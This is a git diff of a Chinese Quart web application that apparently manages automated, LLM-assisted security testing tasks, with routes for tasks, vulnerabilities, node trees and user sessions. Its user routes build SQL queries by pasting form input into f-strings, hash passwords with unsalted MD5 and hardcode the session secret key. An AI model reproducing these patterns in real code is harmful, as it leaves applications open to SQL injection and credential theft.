task_list = g_TaskM.get_task_list()
if task_list:
return jsonify(task_list)
else:
return jsonify({"error":"查询任务数据出错!"}),500
@api.route('/task/getinstr',methods=['POST'])
async def get_instr():
data = await request.get_json()
task_id = data.get("cur_task_id")
node_name = data.get("nodeName")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
instrs = app_DBM.get_task_instrs(task_id,node_name)
return jsonify({"instrs":instrs})
@api.route('/task/getvul',methods=['POST'])
async def get_vul():
data = await request.get_json()
task_id = data.get("cur_task_id")
node_name = data.get("nodeName")
vul_type = data.get("vulType")
vul_level = data.get("vulLevel")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
vuls = app_DBM.get_task_vul(task_id,node_name,vul_type,vul_level)
return jsonify({"vuls":vuls})
@api.route('/task/gettree',methods=['POST'])
async def get_tree():
data = await request.get_json()
task_id = data.get("task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
tree_dict = g_TaskM.get_node_tree(task_id)
return jsonify({"tree":tree_dict})
@api.route('/task/gethistree',methods=['POST'])
async def get_his_tree():
data = await request.get_json()
task_id = data.get("task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
tree_dict = g_TaskM.get_his_node_tree(task_id)
return jsonify({"tree":tree_dict})
@api.route('/task/taskcontrol',methods=['POST'])
async def task_status_control():
'''控制任务状态
1.对于执行时间长的指令如何处理强制停止的话要有个执行中指令的缓存强制停止该指令返回到待执行执行完成该指令到执行完成
'''
data = await request.get_json()
task_id = data.get("cur_task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
#只做暂停和继续间的切换,以服务器端的状态为准
bsuccess,strerror,new_task_status = g_TaskM.control_taks(task_id)
if bsuccess:
return jsonify({'newstatus':new_task_status})
return jsonify({'error': strerror}), 400
@api.route('/task/taskstep',methods=['POST'])
async def task_one_step():
'''单步推进任务--也就是待处理node 返回bsuccess,error
1.执行单步的前提条件是工作线程都要在工作
2.遍历节点把需要处理的节点进入待处理queueinstr和llm只能一个有数据强制约束
'''
data = await request.get_json()
task_id = data.get("cur_task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error = await g_TaskM.task_one_step(task_id)
return jsonify({"bsuccess":bsuccess,"error":error})
@api.route('/task/nodestep',methods=['POST'])
async def node_one_step():
data = await request.get_json()
task_id = data.get("task_id")
node_path = data.get("node_path")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error = await g_TaskM.node_one_step(task_id,node_path)
return jsonify({"bsuccess":bsuccess,"error":error})
@api.route('/task/taskworktype',methods=['POST'])
async def task_work_type_control():
data = await request.get_json()
task_id = data.get("cur_task_id")
newwork_type = data.get("mode")
if not task_id:
return jsonify({'error': 'Missing task_id or newwork_type'}), 400
bsuccess = g_TaskM.update_task_work_type(task_id,newwork_type)
return jsonify({"bsuccess": bsuccess})
@api.route('/task/nodecontrol',methods=['POST'])
async def node_work_status_control():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
if not task_id or not nodepath:
return jsonify({'error': 'Missing task_id or node_path'}), 400
#修改节点的工作状态
bsuccess,newbwork = g_TaskM.node_bwork_control(task_id,nodepath)
if not bsuccess:
return jsonify({'error': 'node_path not bfind'}), 400
return jsonify({"newbwork":newbwork})
@api.route('/task/nodegetinstr',methods=['POST'])
async def node_get_instr():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
#返回 { doneInstrs: [...], todoInstrs: [...] }
doneInstrs = app_DBM.get_task_node_done_instr(task_id,nodepath)
todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath)
return jsonify({"doneInstrs":doneInstrs,"todoInstrs":todoInstrs})
@api.route('/task/hisnodegetinstr',methods=['POST'])
async def his_node_get_instr():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
#返回 { doneInstrs: [...], todoInstrs: [...] }
doneInstrs = app_DBM.get_task_node_done_instr(task_id,nodepath)
#todoInstrs = g_TaskM.get_task_node_todo_instr(task_id,nodepath)
return jsonify({"doneInstrs":doneInstrs})
@api.route('/task/nodegetmsg',methods=['POST'])
async def node_get_msg():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
submitted,pending = g_TaskM.get_task_node_MSG(task_id,nodepath)
return jsonify({"submitted": submitted, "pending": pending})
@api.route('/task/nodeupdatemsg',methods=['POST'])
async def node_update_msg():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
newllm_type = data.get("llmtype")
newcontent = data.get("content")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error =g_TaskM.update_node_MSG(task_id,nodepath,newllm_type,newcontent)
return jsonify({"bsuccess":bsuccess,"error":error})
@api.route('/task/delnodeinstr',methods=['POST'])
async def node_del_instr():
data = await request.get_json()
task_id = data.get("task_id")
nodepath = data.get("node_path")
instr = data.get("item")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error = g_TaskM.del_node_instr(task_id,nodepath,instr)
return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/histasks',methods=['POST'])
async def get_his_task():
data = await request.get_json()
target_name = data.get("target_name")
safe_rank = data.get("safe_rank")
llm_type = data.get("llm_type")
start_time= data.get("start_time")
end_time= data.get("end_time")
his_tasks = g_TaskM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return jsonify({"his_tasks":his_tasks})

43
web/API/user.py

@ -1,13 +1,15 @@
import os import os
import hashlib import hashlib
from quart import Quart, render_template, request, session, redirect, url_for,jsonify,send_file,flash import uuid
import aioredis
from mycode.DBManager import app_DBM
from quart import Quart, render_template, request, session, redirect, url_for,jsonify,send_file,flash,current_app
from quart_sqlalchemy import SQLAlchemy from quart_sqlalchemy import SQLAlchemy
from quart_session import Session from quart_session import Session
from web.common.utils import generate_captcha,login_required from web.common.utils import generate_captcha,login_required
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from . import api
from web.common.errors import handle_error from web.common.errors import handle_error
from . import api
@api.route('/user/code',methods=['GET']) @api.route('/user/code',methods=['GET'])
async def user_get_code(): #获取验证码 async def user_get_code(): #获取验证码
@ -37,22 +39,27 @@ async def user_login(): #用户登录
#return jsonify({'error': '验证码错误'}), 400 #return jsonify({'error': '验证码错误'}), 400
#return 'captcha error!', 400 #return 'captcha error!', 400
#比对用户名和密码 #比对用户名和密码
strsql = f"select password from user where username = '{username}'" strsql = f"select password from user where username = '{username}';"
db_password = mDBM.do_select(strsql,1) db_password = app_DBM.do_select(strsql,1)
passwd_md5 = get_md5(password) passwd_md5 = get_md5(password)
if db_password: if db_password:
if db_password[0] == passwd_md5: #后续需要对密码进行MD5加默 if db_password[0] == passwd_md5: #后续需要对密码进行MD5加默
print("登录成功") # 生成新的登录 token
login_token = uuid.uuid4().hex
# 写入 Redis:key = user_token:<username>
await current_app.redis.set(f"user_token:{username}", login_token)
session['user'] = username session['user'] = username
return redirect(url_for('main.get_html', html='view_main.html')) session['token'] = login_token
return redirect(url_for('main.get_html', html='index.html'))
await flash('用户名或密码错误', 'error') await flash('用户名或密码错误', 'error')
return redirect(url_for('main.login')) return redirect(url_for('main.login'))
@api.route('/user/userinfo',methods=['GET']) @api.route('/user/userinfo',methods=['GET'])
@login_required @login_required
async def user_info(): #获取用户列表 async def user_info(): #获取用户列表
strsql = "select username,status,people,tellnum from user;"; strsql = "select username,status,people,tellnum from user;"
data = mDBM.do_select(strsql) data = app_DBM.do_select(strsql)
if data: if data:
user_list = [{"username": user[0], "status": user[1], user_list = [{"username": user[0], "status": user[1],
"people":user[2],"tellnum":user[3]} for user in data] "people":user[2],"tellnum":user[3]} for user in data]
@ -60,6 +67,14 @@ async def user_info(): #获取用户列表
else: else:
return jsonify(0) return jsonify(0)
#登出接口,清除 Redis 和 Session ---
@api.route('/user/logout')
async def user_logout():
username = session.get('user')
if username:
await current_app.redis.delete(f"user_token:{username}")
session.clear()
return redirect(url_for('main.login'))
@api.route('/user/adduser',methods=['POST']) @api.route('/user/adduser',methods=['POST'])
@login_required @login_required
@ -69,14 +84,14 @@ async def user_adduser(): #新增用户
tellnum = (await request.form)['tellnum'] tellnum = (await request.form)['tellnum']
strsql = f"select username from user where username = '{username}';" strsql = f"select username from user where username = '{username}';"
password = myCongif.get_data('pw') password = myCongif.get_data('pw')
data = mDBM.do_select(strsql) data = app_DBM.do_select(strsql)
if data: if data:
reStatus = 0 reStatus = 0
reMsg = '用户名重复,请重新输入!' reMsg = '用户名重复,请重新输入!'
else: else:
strsql = (f"INSERT INTO user (username ,password ,status,people,tellnum ) VALUES " strsql = (f"INSERT INTO user (username ,password ,status,people,tellnum ) VALUES "
f"('{username}','{password}',1,'{people}','{tellnum}');") f"('{username}','{password}',1,'{people}','{tellnum}');")
ret = mDBM.do_sql(strsql) ret = app_DBM.do_sql(strsql)
if ret == True: if ret == True:
reStatus = 1 reStatus = 1
reMsg = '添加用户成功' reMsg = '添加用户成功'
@ -94,12 +109,12 @@ async def user_change_passwd(): #修改密码
old_md5= get_md5(oldpasswd) old_md5= get_md5(oldpasswd)
print(old_md5) print(old_md5)
strsql = f"select id from user where password='{old_md5}';" strsql = f"select id from user where password='{old_md5}';"
data = mDBM.do_select(strsql,1) data = app_DBM.do_select(strsql,1)
reStatus = 0 reStatus = 0
if data: if data:
new_md5 = get_md5(newpasswd) new_md5 = get_md5(newpasswd)
strsql = f"update user set password = '{new_md5}' where password = '{old_md5}';" strsql = f"update user set password = '{new_md5}' where password = '{old_md5}';"
ret = mDBM.do_sql(strsql) ret = app_DBM.do_sql(strsql)
if ret: if ret:
reStatus = 1 reStatus = 1
reMsg = '修改密码成功' reMsg = '修改密码成功'
@ -117,7 +132,7 @@ async def user_change_user_info(): #修改用户信息
people = (await request.form)['people'] people = (await request.form)['people']
tellnum = (await request.form)['tellnum'] tellnum = (await request.form)['tellnum']
strsql = f"update user set people='{people}',tellnum='{tellnum}' where username='{username}';" strsql = f"update user set people='{people}',tellnum='{tellnum}' where username='{username}';"
ret = mDBM.do_sql(strsql) ret = app_DBM.do_sql(strsql)
if ret == True: if ret == True:
reStatus = 1 reStatus = 1
reMsg = '修改用户信息成功' reMsg = '修改用户信息成功'

43
web/API/wsm.py

@ -0,0 +1,43 @@
import json
from . import api
from quart import Quart, websocket, jsonify
from mycode.WebSocketManager import g_WSM
# WebSocket 路由,端口默认与 HTTP 同端口,例如 5000(开发时)
@api.websocket("/ws")
async def ws():
"""
WebSocket 连接入口
1. 客户端连接成功后首先应发送登录数据包例如 {"user_id": 1}
2. 后端解析登录数据包 user_id websocket 绑定注册
3. 后续进入消息接收循环根据数据协议TFTF++体格式处理数据
"""
# 接收登录数据包(假设为纯 JSON 包,非二进制格式)
login_msg = await websocket.receive()
try:
login_data = json.loads(login_msg)
user_id = login_data.get("user_id")
if user_id is None:
error_msg = g_WSM.create_binary_error_message("没有提供user_id")
await websocket.send(error_msg)
return
# 注册当前连接
await g_WSM.register(user_id, websocket)
except Exception as e:
errof_msg = g_WSM.create_binary_error_message(str(e))
await websocket.send(errof_msg)
return
try:
# 主循环:接收后续消息并处理;此处可以根据协议解析消息 ---暂时无web发送数据的业务
while True:
message = await websocket.receive()
# 这里可以添加对接收到的消息解析处理,根据协议分离 TFTF 等
print("收到消息:", message)
# 例如,直接回显消息;实际项目中应解析消息格式并调用相应的业务逻辑
# await websocket.send(message)
except Exception as e:
print("WebSocket 出现异常:", e)
finally:
# 注销当前连接
await g_WSM.unregister(user_id)

26
web/__init__.py

@ -1,3 +1,4 @@
import aioredis
from quart import Quart,session,redirect, url_for from quart import Quart,session,redirect, url_for
from quart_session import Session from quart_session import Session
from quart_cors import cors from quart_cors import cors
@ -33,33 +34,22 @@ class MemcachedSessionInterface: #只是能用,不明所以
def create_app(): def create_app():
app = Quart(__name__) app = Quart(__name__)
app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#' app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#'
app.config["TEMPLATES_AUTO_RELOAD"] = True #动态加载模板文件
if myCongif.get_data("model_platform") == "acl":
app.config['SESSION_TYPE'] = 'memcached' # session类型
elif myCongif.get_data("model_platform") =="cpu":
app.config['SESSION_TYPE'] = 'redis' # session类型
#app.config['SESSION_FILE_DIR'] = './sessions' # session保存路径 #app.config['SESSION_FILE_DIR'] = './sessions' # session保存路径
#app.config['SESSION_MEMCACHED'] = base.Client(('localhost', 11211)) #app.config['SESSION_MEMCACHED'] = base.Client(('localhost', 11211))
app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。 app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密 app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_TYPE'] = 'redis' # session类型
memcached_client = base.Client(('localhost', 11211)) redis_client = aioredis.from_url('redis://localhost:6379', encoding="utf-8",decode_responses=True)
app.session_interface = MemcachedSessionInterface(memcached_client) app.config['SESSION_REDIS'] = redis_client
Session(app) Session(app)
# 同时把一个全局 redis 客户端挂到 app
app.redis = redis_client
# 注册main # 注册main
app.register_blueprint(main) app.register_blueprint(main)
#注册API模块 #注册API模块
app.register_blueprint(api,url_prefix = '/api') app.register_blueprint(api,url_prefix = '/api')
return app return app
def login_required(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if 'user' not in session:
return redirect(url_for('main.login'))
return await f(*args, **kwargs)
return decorated_function

18
web/common/utils.py

@ -3,7 +3,7 @@ import random
import string import string
import io import io
from functools import wraps from functools import wraps
from quart import session, redirect, url_for from quart import session, redirect, url_for, flash,current_app
def generate_captcha(): def generate_captcha():
characters = string.ascii_uppercase + string.digits characters = string.ascii_uppercase + string.digits
@ -37,7 +37,19 @@ def verify_captcha(user_input, actual_captcha):
def login_required(f): def login_required(f):
@wraps(f) @wraps(f)
async def decorated_function(*args, **kwargs): async def decorated_function(*args, **kwargs):
if 'user' not in session: username = session.get('user')
return redirect(url_for('main.index',error='未登录,请重新登录')) token = session.get('token')
if not username or not token:
await flash('未登录,请重新登录', 'error')
return redirect(url_for('main.login'))
#从redis取最新的token
redis_key = f"user_token:{username}"
server_token = await current_app.redis.get(redis_key)
if server_token is None or server_token != token:
# 如果不匹配,说明此账号已在其他地方登录
session.clear()
await flash('您的账号已在其他设备登录,请重新登录', 'error')
return redirect(url_for('main.login'))
return await f(*args, **kwargs) return await f(*args, **kwargs)
return decorated_function return decorated_function

12
web/main/routes.py

@ -5,24 +5,16 @@ from quart import session, redirect, url_for,flash
from functools import wraps from functools import wraps
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from werkzeug.utils import secure_filename from werkzeug.utils import secure_filename
from web.common.utils import login_required
''' '''
页面路由 页面路由
''' '''
def login_required(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if 'user' not in session:
return redirect(url_for('main.index',error='未登录,请重新登录'))
return await f(*args, **kwargs)
return decorated_function
@main.route('/') @main.route('/')
async def index(): async def index():
#return await render_template('实时预览.html')
return await render_template('login.html') return await render_template('login.html')
#return await render_template('index_webrtc.html')
@main.route('/login', methods=['GET', 'POST']) @main.route('/login', methods=['GET', 'POST'])
async def login(): async def login():

134
web/main/static/resources/css/node_tree.css

@ -0,0 +1,134 @@
/* 左侧树容器:固定高度,允许滚动,根节点居中 */
.node-tree-area {
width: 100%;
height: 100%; /* 示例高度,根据需求调整 */
border: 1px solid #ddd;
overflow: hidden; /* 超出时出现滚动条 */
background-color: #f8f9fa;
text-align: center; /* 内部 inline-block 居中 */
position: relative;
}
/* 树节点内容区域,不包含刷新按钮 */
.tree-content {
height: 100%;
overflow: auto;
padding-top: 5px; /* 留出顶部刷新按钮位置 */
}
/* 顶部刷新按钮 */
.refresh-container {
position: absolute;
top: 5px;
left: 5px;
z-index: 100;
}
.tree-refresh {
position: absolute;
top: 5px;
left: 5px;
z-index: 100;
cursor: pointer;
border: none;
background-color: #007bff; /* 蓝色背景 */
color: #fff; /* 白色文字 */
font-size: 20px;
padding: 5px 10px;
border-radius: 4px;
}
.tree-refresh:hover {
background-color: #0056b3; /* 悬停时深蓝 */
}
/* 让树的 ul 使用 inline-block 显示,便于根节点居中 */
.tree-root-ul {
display: inline-block;
text-align: left; /* 子节点左对齐 */
margin: 20px;
padding:0;
}
.tree-root-ul ul {
margin-left: 20px; /* 子节点缩进 */
padding-left: 20px;
border-left: 1px dashed #ccc; /* 增加分隔线效果 */
}
/* 节点容器:增加立体效果 */
.node-container {
display: inline-flex;
align-items: center;
}
/* 切换图标 */
.toggle-icon {
margin-right: 5px;
font-weight: bold;
cursor: pointer;
}
/* 每个节点样式 */
.tree-node {
display: inline-block;
padding: 6px 10px;
margin: 3px 0;
border: 1px solid transparent;
border-radius: 4px;
background-color: #fff;
cursor: pointer;
transition: all 0.2s ease;
box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.15);
}
.tree-node:hover {
background-color: #e6f7ff;
transform: translateY(-1px);
}
.tree-node.selected {
border-color: #1890ff;
background-color: #bae7ff;
}
/* 针对漏洞级别的样式 */
.tree-node.vul-low {
border-color: #87d068;
background-color: #f6ffed;
}
.tree-node.vul-medium {
border-color: #faad14;
background-color: #fff7e6;
}
.tree-node.vul-high {
border-color: #ff4d4f;
background-color: #fff1f0;
}
.tree-node.no-work {
border-color: #151515;
background-color: #c4c4c4;
}
/* 收缩/展开时隐藏子节点 ul */
.collapsed {
display: none;
}
/* 右侧信息区域 */
.node-info-area {
border: 1px solid #ddd;
padding: 10px;
min-height: 200px;
}
/* 按钮区域 */
.node-actions button {
margin-right: 10px;
margin-bottom: 10px;
}
/* 限制模态框对话框的最大高度(比如距离屏幕上下各留 20px) */
.modal-dialog {
max-height: calc(100vh - 60px);
/* 如果模态框尺寸需要自适应宽度,可以考虑设置 width: auto; */
}
/* 限制模态框内容区域的最大高度并启用垂直滚动 */
.modal-content {
max-height: calc(100vh - 60px);
}
/* 模态框主体区域启用滚动 */
.modal-body {
overflow-y: auto;
}

563
web/main/static/resources/scripts/aiortc-client-new.js

@ -1,563 +0,0 @@
let video_list = {}; //element_id -- socket
let run_list = {}; //element_id -- runtag
let berror_state_list = {}; //element_id -- 错误信息显示
let m_count = 0;
let connection_version = {}; // 保存每个 element_id 的版本号
let channel_list = null;
const fourViewButton = document.getElementById('fourView');
const nineViewButton = document.getElementById('nineView');
//页面即将卸载时执行
window.addEventListener('beforeunload', function (event) {
// 关闭所有 WebSocket 连接或执行其他清理操作
for(let key in video_list){
const videoFrame = document.getElementById(`video-${key}`);
const event = new Event('closeVideo');
videoFrame.dispatchEvent(event);
delete video_list[key];
berror_state_list[key] = false;
}
});
//页面加载时执行
document.addEventListener('DOMContentLoaded', async function() {
console.log('DOM fully loaded and parsed');
// 发送请求获取额外数据 --- 这个接口功能有点大了---暂时只是更新通道树2024-7-29
try {
let response = await fetch('/api/channel/list');
if (!response.ok) {
throw new Error('Network response was not ok');
}
channel_list = await response.json();
// 遍历输出每个元素的信息
let area_name = ""
let html = '<ul class="list-group">';
channel_list.forEach(channel => {
// console.log(`Area Name: ${channel.area_name}`);
// console.log(`ID: ${channel.ID}`);
// console.log(`Channel Name: ${channel.channel_name}`);
// console.log(`URL: ${channel.url}`);
// console.log(`Type: ${channel.type}`);
// console.log(`Status: ${channel.status}`);
// console.log(`Element ID: ${channel.element_id}`);
if(area_name !== `${channel.area_name}`){
if(area_name !== ""){
html += '</ul>';
html += '</li>';
}
area_name = `${channel.area_name}`;
html += `<li class="list-group-item"><strong>${area_name}</strong>`;
html += '<ul class="list-group">';
}
//html += `<li class="list-group-item">${channel.channel_name}</li>`;
html += `<li class="list-group-item" draggable="true" ondragstart="drag(event)"
data-node-id="${channel.ID}" data-node-name="${area_name}--${channel.channel_name}">
<svg class="bi" width="16" height="16"><use xlink:href="#view"/></svg>
${channel.channel_name}
</li>`;
});
if(area_name !== ""){
html += '</ul>';
html += '</li>';
}
html += '</ul>';
const treeView = document.getElementById('treeView');
treeView.innerHTML = html
generateVideoNodes(4);
} catch (error) {
console.error('Failed to fetch data:', error);
}
});
document.addEventListener('click', function() {
console.log("第一次页面点击,开始显示视频--已注释",m_count);
// if(m_count != 0){
// count = m_count
// //获取视频接口
// const url = `/api/viewlist?count=${count}`;
// fetch(url)
// .then(response => response.json())
// .then(data => {
// console.log('Success:', data);
// clist = data.clist;
// elist = data.elist;
// nlist = data.nlist;
// for(let i=0;i<clist.length;i++){
// if(parseInt(elist[i]) < count){
// console.log("切换窗口时进行连接",clist[i])
// connectToStream(elist[i],clist[i],nlist[i])
// //startFLVStream(elist[i],clist[i],nlist[i]);
// }
// }
// })
// .catch(error => {
// console.error('Error:', error);
// });
// }
}, { once: true });
//视频窗口
document.getElementById('fourView').addEventListener('click', function() {
if (fourViewButton.classList.contains('btn-primary')) {
return; // 如果按钮已经是选中状态,直接返回
}
const videoGrid = document.getElementById('videoGrid');
videoGrid.classList.remove('nine');
videoGrid.classList.add('four');
generateVideoNodes(4);
//更新按钮点击状态
fourViewButton.classList.remove('btn-secondary');
fourViewButton.classList.add('btn-primary');
nineViewButton.classList.remove('btn-primary');
nineViewButton.classList.add('btn-secondary');
});
document.getElementById('nineView').addEventListener('click', function() {
if (nineViewButton.classList.contains('btn-primary')) {
return; // 如果按钮已经是选中状态,直接返回
}
const videoGrid = document.getElementById('videoGrid');
videoGrid.classList.remove('four');
videoGrid.classList.add('nine');
generateVideoNodes(9);
//更新按钮点击状态
fourViewButton.classList.remove('btn-primary');
fourViewButton.classList.add('btn-secondary');
nineViewButton.classList.remove('btn-secondary');
nineViewButton.classList.add('btn-primary');
});
function generateVideoNodes(count) { //在这里显示视频-初始化 ---这里使用重置逻辑
//结束在播放的socket
for(let key in video_list){
//flv使用
// const videoFrame = document.getElementById(`video-${key}`);
// const event = new Event('closeVideo');
// videoFrame.dispatchEvent(event);
//通用关闭
run_list[key] = false;
video_list[key].close();
berror_state_list[key] = false;
delete video_list[key];
}
//切换窗口布局
const videoGrid = document.getElementById('videoGrid');
let html = '';
for (let i = 0; i < count; i++) {
let frameWidth = count === 4 ? 'calc(50% - 10px)' : 'calc(33.33% - 10px)';
html += `
<div class="video-frame" data-frame-id="${i}" style="width: ${frameWidth};"
ondrop="drop(event)" ondragover="allowDrop(event)">
<div class="video-header">
<div class="video-title">Video Stream ${i+1}</div>
<div class="video-buttons">
<button onclick="toggleFullScreen(${i})">🔲</button>
<button onclick="closeVideo(${i})"></button>
</div>
</div>
<div class="video-area"><canvas id="video-${i}"></canvas></div>
</div>`;
}
videoGrid.innerHTML = html;
//开始还原视频,获取视频接口
// if(m_count != 0){
const url = `/api/viewlist?count=${count}`;
fetch(url)
.then(response => response.json())
.then(data => {
console.log('Success:', data);
clist = data.clist;
elist = data.elist;
nlist = data.nlist;
for(let i=0;i<clist.length;i++){
if(parseInt(elist[i]) < count){
connectToStream(elist[i],clist[i],nlist[i])
//startFLVStream(elist[i],clist[i],nlist[i]);
}
}
})
.catch(error => {
console.error('Error:', error);
});
// }
//m_count = count
}
function toggleFullScreen(id) {
console.log('toggleFullScreen');
const videoFrame = document.querySelector(`[data-frame-id="${id}"]`);
if (!document.fullscreenElement) {
videoFrame.requestFullscreen().catch(err => {
alert(`Error attempting to enable full-screen mode: ${err.message} (${err.name})`);
});
} else {
document.exitFullscreen();
};
}
function allowDrop(event) {
event.preventDefault();
}
function drag(event) {
event.dataTransfer.setData("text", event.target.dataset.nodeId);
event.dataTransfer.setData("name", event.target.dataset.nodeName);
}
function drop(event) {
event.preventDefault();
const nodeId = event.dataTransfer.getData("text");
const nodeName = event.dataTransfer.getData("name");
const frameId = event.currentTarget.dataset.frameId;
//需要判断下当前窗口是否已经在播放视频
const imgElement = document.getElementById(`video-${frameId}`);
const titleElement = document.querySelector(`[data-frame-id="${frameId}"] .video-title`);
if (titleElement.textContent !== `Video Stream ${Number(frameId)+1}`) {
showModal('请先关闭当前窗口视频,然后再播放新的视频。');
return;
};
//发送视频链接接口
const url = '/api/start_stream';
const data = {"channel_id":nodeId,"element_id":frameId};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const istatus = data.status;
if(istatus === 0){
showModal(data.msg); // 使用 Modal 显示消息
return;
}
else{
//获取视频流
console.log("drop触发")
connectToStream(frameId,nodeId,nodeName);
//startFLVStream(frameId,nodeId,nodeName); #基于FLV的开发程度:后端直接用RTSP流转发是有画面的,但CPU占用太高,用不了。2024-8-30
}
})
.catch((error) => {
showModal(`Error: ${error.message}`); // 使用 Modal 显示错误信息
return;
});
//console.log('retrun 只是把fetch结束,这里的代码还是会执行');
}
function connect(channel_id,element_id,imgcanvas,ctx,offscreenCtx,offscreenCanvas,streamUrl) {
//判断是否有重复socket,进行删除
if(element_id in video_list) {
run_list[element_id] = false;
video_list[element_id].close();
delete video_list[element_id];
console.log("有历史数据未删干净!!---",element_id) //要不要等待待定
}
// 每次连接时增加版本号
const current_version = (connection_version[element_id] || 0) + 1;
connection_version[element_id] = current_version;
const socket = new WebSocket(streamUrl);
socket.binaryType = 'arraybuffer'; // 设置为二进制数据接收
socket.customData = { channel_id: channel_id, element_id: element_id,
imgcanvas:imgcanvas,ctx:ctx,offscreenCtx:offscreenCtx,offscreenCanvas:offscreenCanvas,
version_id: current_version,streamUrl:streamUrl}; // 自定义属性 -- JS异步事件只能等到当前同步任务(代码块)完成之后才有可能被触发。
//新的连接
video_list[element_id] = socket;
run_list[element_id] = true;
berror_state_list[element_id] = false;
imgcanvas.style.display = 'block';
// 处理连接打开事件
socket.onopen = function(){
console.log('WebSocket connection established--',socket.customData.channel_id);
};
socket.onmessage = function(event) {
let el_id = socket.customData.element_id
let cl_id = socket.customData.channel_id
let imgcanvas = socket.customData.imgcanvas
let ctx = socket.customData.ctx
let offctx = socket.customData.offscreenCtx
let offscreenCanvas = socket.customData.offscreenCanvas
// 转换为字符串来检查前缀
let message = new TextDecoder().decode(event.data.slice(0, 6)); // 取前6个字节
if (message.startsWith('frame:')){
//如有错误信息显示 -- 清除错误信息
if(berror_state_list[el_id]){
console.log("清除错误信息!");
removeErrorMessage(imgcanvas);
berror_state_list[el_id] = false;
}
// 接收到 JPG 图像数据,转换为 Blob
let img = new Image();
let blob = new Blob([event.data.slice(6)], { type: 'image/jpeg' });
// 将 Blob 转换为可用的图像 URL
img.src = URL.createObjectURL(blob);
//定义图片加载函数
img.onload = function() {
imgcanvas.width = offscreenCanvas.width = img.width;
imgcanvas.height = offscreenCanvas.height = img.height;
// 在 OffscreenCanvas 上绘制
offctx.clearRect(0, 0, imgcanvas.width, imgcanvas.height);
offctx.drawImage(img, 0, 0, imgcanvas.width, imgcanvas.height);
// 将 OffscreenCanvas 的内容复制到主 canvas
ctx.drawImage(offscreenCanvas, 0, 0);
// 用完就释放
URL.revokeObjectURL(img.src);
// blob = null
// img = null
// message = null
// event.data = null
// event = null
};
}else if(message.startsWith('error:')){
const errorText = new TextDecoder().decode(event.data.slice(6)); // 截掉前缀 'error:'
//目前只处理一个错误信息,暂不区分
displayErrorMessage(imgcanvas, "该视频源未获取到画面,请检查后刷新重试,默认两分钟后重连");
berror_state_list[el_id] = true;
}
};
socket.onclose = function() {
let el_id = socket.customData.element_id;
let cl_id = socket.customData.channel_id;
//判断是不是要重连
if(socket.customData.version_id === connection_version[el_id]){
if(run_list[el_id]){
console.log(`尝试重新连接... Channel ID: ${cl_id}`);
setTimeout(() => connect(cl_id, el_id, socket.customData.imgcanvas,
socket.customData.ctx,socket.customData.streamUrl), 1000*10); // 尝试在10秒后重新连接
}
delete video_list[el_id];
delete connection_version[el_id];
delete run_list[el_id];
}
};
socket.onerror = function() {
console.log(`WebSocket错误,Channel ID: ${socket.customData.channel_id}`);
socket.close(1000, "Normal Closure");
};
}
function connectToStream(element_id,channel_id,channel_name) {
console.log("开始连接视频",element_id,channel_id);
//更新控件状态--设置视频区域的标题
const titleElement = document.querySelector(`[data-frame-id="${element_id}"] .video-title`);
titleElement.textContent = channel_name;
//视频控件
//const imgElement = document.getElementById(`video-${element_id}`);
//imgElement.alt = `Stream ${channel_name}`;
const imgcanvas = document.getElementById(`video-${element_id}`);
const ctx = imgcanvas.getContext('2d')
// 创建 OffscreenCanvas
const offscreenCanvas = new OffscreenCanvas(imgcanvas.width, imgcanvas.height);
const offscreenCtx = offscreenCanvas.getContext('2d');
const streamUrl = `ws://${window.location.host}/api/ws/video_feed/${channel_id}`;
//创建websocket连接,并接收和显示图片
connect(channel_id,element_id,imgcanvas,ctx,offscreenCtx,offscreenCanvas,streamUrl); //执行websocket连接 -- 异步的应该会直接返回
}
function closeVideo(id) {
if(id in video_list) {
const imgcanvas = document.getElementById(`video-${id}`);
const titleElement = document.querySelector(`[data-frame-id="${id}"] .video-title`);
//断socket
run_list[id] = false;
video_list[id].close();
delete video_list[id];
//清空控件状态
imgcanvas.style.display = 'none'; // 停止播放时隐藏元素
titleElement.textContent = `Video Stream ${id+1}`;
removeErrorMessage(imgcanvas);
berror_state_list[id] = false;
//删记录
const url = '/api/close_stream';
const data = {"element_id":id};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
